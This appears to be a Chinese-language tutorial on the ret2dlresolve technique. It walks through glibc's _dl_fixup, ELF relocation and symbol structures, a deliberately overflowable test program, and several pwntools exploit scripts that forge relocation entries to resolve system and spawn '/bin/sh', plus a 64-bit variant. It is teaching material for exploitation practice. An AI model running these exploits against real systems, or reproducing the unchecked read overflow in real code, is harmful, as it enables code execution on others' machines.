1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc 
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 首先通过参数reloc_arg计算重定位的入口，这里的JMPREL即.rel.plt，reloc_offest即reloc_arg
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 然后通过reloc->r_info找到.dynsym中对应的条目
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); //这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7，即重定位标志

 
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);  // 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif


      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));  // value为libc基址加上要解析函数的偏移地址，也即实际地址,SYMBOL_ADDRESS() 得到偏移sym，+ result 得出最终函数地址
    }
  else
    {
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); // 最后把value写入相应的GOT表条目中
}

1
2
3
4
5
6
7
8
9

typedef struct
{
  Elf32_Sword  d_tag;       /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;          /* Integer value */
      Elf32_Addr d_ptr;          /* Address value */
    } d_un;
} Elf32_Dyn;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;    /* Base address shared object is loaded at.  */
    char *l_name;     /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;      /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
};

1
2
3
4
5
6

// _dl_runtime_resolve的结构体
typedef struct
{
  Elf32_Addr   r_offset;     /* Address */
  Elf32_Word   r_info;          /* Relocation type and symbol index */
} Elf32_Rel;

1
2
3
4
5
6
7
8
9

typedef struct
{
  Elf32_Word   st_name;      /* Symbol name (string tbl index) */
  Elf32_Addr   st_value;     /* Symbol value */
  Elf32_Word   st_size;      /* Symbol size */
  unsigned char    st_info;      /* Symbol type and binding */
  unsigned char    st_other;     /* Symbol visibility */
  Elf32_Section    st_shndx;     /* Section index */
} Elf32_Sym;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

#include <stdio.h>
#include <unistd.h>

void vuln() {
  char content[0x100];
  read(0, content, 0x200);
}

int main() {
  vuln();
  return 0;
}
gcc -o test_32 ./test_32.c -m32 -no-pie -fno-stack-protector

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x0804916A
    b *read
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040

read_plt = elf.plt['read']

log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt,
    leave_ret, p32(0), base_addr, 0x100
) #leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
    read_plt, 0xdeadbeaf,
    0, bss+0x100, 0x100,
)
# 再一次read,
se(payload)
ia()

1
2
3
4

payload = flat(
    start_resolve, 8, 0xdeadbeef,
    0, bss+0x100, 0x100,
)

1
2
3
4
5

struct Elf32_Rel
{
  unsigned __int32 r_offset; //图里为0x804c004
  unsigned __int32 r_info; //0x207
};

1

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
read_plt = elf.plt['read']

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt,
    leave_ret, p32(0), base_addr, 0x200
)  # leave_ret后跳转到base_addr然后开始执行read
se(payload)


fake_struct = p32(0x804c004)+p32(207) #伪造的Elf32_Rel
# payload = flat(
#     start_resolve, 8, 0xdeadbeef,
#     0, bss+0x200, 0x200,
# )
payload = flat(
    start_resolve, p32(base_addr+0x10-rel_plt), 0xdeadbeef, #这里start_resolve开始重定位
 	# 第一个参数就是push的参数，其为reloc_index
    0, bss+0x100, 0x100,
    fake_struct
)

1
2
3
4
5
6
7
8
9

struct Elf32_Sym
{
  unsigned __int32 st_name __offset(OFF32,0x80482D0); // 四字节，计算得到偏移为0x10
  unsigned __int32 st_value __off; // 四字节，0
  unsigned __int32 st_size; // 四字节，0 
  unsigned __int8(char) st_info; //一字节,0x12
  unsigned __int8(char) st_other; //一字节，0
  unsigned __int16 st_shndx; //二字节，0
};

1
2

dynsym=elf.get_section_by_name(".dynsym").header.sh_addr
r_info = (((base_addr + 0x10 - dynsym) // 0x10) << 8) | 0x7 # /0x10是因为SYMENT指明大小为十六字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
r_info = (((base_addr+0x10-dynsym)//0x10) << 8) | 0x7

log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt,
    leave_ret, p32(0), base_addr, 0x200
)  # leave_ret后跳转到base_addr然后开始执行read
se(payload)

# fake_struct = p32(0x804c004)+p32(207)
fake_struct = p32(0x804c004)+p32(r_info)  # 伪造elf32_rel
# payload = flat(
#     start_resolve, 8, 0xdeadbeef,
#     0, bss+0x200, 0x200,
# )
payload = flat(
    start_resolve, p32(base_addr+24), 0xdeadbeef, #p32-->4*6
    0, bss+0x200, 0x200, #这里还只是伪造read
    fake_struct,
    b'a'*(0x10-((fake_struct-dynsym)&0xf),  # Elf32_sym结构体为16字节，在填充后地址还要和16字节对齐
    0x20, 0, 0, 0x12
)
# 再一次read,
se(payload)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131

import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x8049199 
    b *read
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
start_resolve = elf.get_section_by_name(".plt").header.sh_addr

# 初始化所需的段首地址

bss = elf.bss()
base_addr = bss+0x800  # 这里要最后一位对齐
leave_ret = 0x080490d6
start_resolve = 0x08049020  # .plt中的第一个函数，调用这个函数会进入动态链接器
r_info = (((base_addr+0x20-dynsym)//0x10) << 8) | 0x7


log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']
fake_sym_addr = base_addr+32  # fake_sym_addr为Elf32_Sym结构首地址，这里是根据下面计算的4*8=32
align = 0x10-((fake_sym_addr-dynsym) & 0xf)  # Elf32_Sym结构为16字节，因此地址和16字节对齐
# 只取最后一位，二者地址放在一个结构中，最后求出fake_sym_addr距离16字节差的字节数
# 使用dynsym是因为dynsym是对齐的，可以用来做对齐的表
fake_sym_addr += align  # 其实就是进行十六字节补齐，payload中也写入align
log.info(VIO_TEXT(f"fake_sym_addr:{hex(fake_sym_addr)}"))
log.info(VIO_TEXT(f"align:{hex(align)}"))
st_name = fake_sym_addr+0x10-dynstr  # 这个是字符串在dynstr中的偏移
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)  # 0x12=st_info

r_offset = elf.got['read']  # 重定位表项中r_offset为got中read的地址,也是最后写入的真实地址的地方
log.info(VIO_TEXT(f"r_offset:{hex(r_offset)}"))
# 重定位表项中r_info的高位为符号表的索引,并且Elf32_sym大小16字节
r_sym = (fake_sym_addr-dynsym)//0x10

r_type = 0x7  # 0x7是重定位的一种类型，指的是导入函数，进入_dl_fixup函数里面，还会检查这是不是0x7
r_info = (int(r_sym) << 8)+r_type  # 重定位表项中r_info的值
reloc_index = base_addr-rel_plt+24  # 这里+24要看实际伪造rel.plt距离base_addr偏移
fake_rel_plt = p32(r_offset)+p32(r_info)  # 伪造rel.plt

payload = flat(
    b'a'*0x108,
    base_addr-4, read_plt, leave_ret,
    p32(0), base_addr, p32(0x100)
).ljust(0x200, b'\x00')  # leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
    p32(start_resolve), p32(reloc_index),  # 构成read_plt
    p32(0xdeadbeef), p32(base_addr+80),  # 80放置/bin/sh
    b'bbbb', b'bbbb',  # 垃圾参数，填充伪造的read参数
    fake_rel_plt,
    b'a'*align,
    fake_sym,
    b'system\x00',
)
payload += (80-len(payload))*b'a'+b'/bin/sh\x00'
payload = payload.ljust(0x100, b'\x00')
se(payload)
ia()

1
2
3
4
5
6
7
8
9

#include <stdio.h>

int main(){
    char content[0x100];
    read(0, content, 0x180);
    return 0;
}

gcc ./pwn -o pwn -no-pie -fno-stack-protector -z norelro

1
2
3
4
5
6
7
8
9

typedef struct
{
  Elf64_Word        st_name;                /* Symbol name (string tbl index)  32位*/ 
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char st_other;                /* Symbol visibility */
  Elf64_Section        st_shndx;                /* Section index  16位*/
  Elf64_Addr        st_value;                /* Symbol value 64位*/
  Elf64_Xword        st_size;                /* Symbol size 64位*/
} Elf64_Sym;

1
2
3
4
5

typedef struct{  
    Elf64_Addr r_offset;        /* Address */  
    Elf64_Xword    r_info;            /* Relocation type and symbol index */  
    Elf64_Sxword r_addend;        /* Addend */
}Elf64_Rela;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map，也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7
 
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测，检查sym结构体中的st_other是否为0，正常情况下为0，执行下面代码
    {
      const struct r_found_version *version = NULL;
    // 这里也是一层检测，检查link_map中的DT_VERSYM是否为NULL，正常情况下不为NULL，执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      //到了这里就是64位下报错的位置，在计算版本号时，vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中，由于我们一般伪造的symtab位于bss段
	  //就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误，自然想到的办法就是不执行这里的代码，分析上面的代码我们就可以得到两种手段
	  //第一种手段就是使上一行的if不成立，也就是设置link_map中的DT_VERSYM为NULL，那我们就要泄露出link_map的地址，而如果我们能泄露地址，根本用不着ret2dlresolve。
      //第二种手段就是使最外层的if不成立，也就是使sym结构体中的st_other不为0，直接跳到后面的else语句执行。
      const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }
 
      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }
 
      RTLD_ENABLE_FOREIGN_CALL;
    // 在32位情况下，上面代码运行中不会出错，就会走到这里，这里通过strtab+sym->st_name找到符号表字符串，result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();
 
      RTLD_FINALIZE_FOREIGN_CALL;
 
      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      // 同样，如果正常执行，接下来会来到这里，得到value的值，为libc基址加上要解析函数的偏移地址，也即实际地址，即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    {
      // 这里就是64位下利用的关键，在最上面的if不成立后，就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址，所以就得控制两个参数，l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
 
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

//0x68  strtab
//0x70  symtab
//0xf8   relplt
struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];
...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({
    120: raw_rop,
    256: dlresolve.payload
})
sl(payload)
io.interactive()

1

print(hex(elf.get_section_by_name('.dynstr').header.sh_addr))

1

search -8 0x3fd450

1

print(hex(elf.get_section_by_name('.dynamic').header.sh_addr))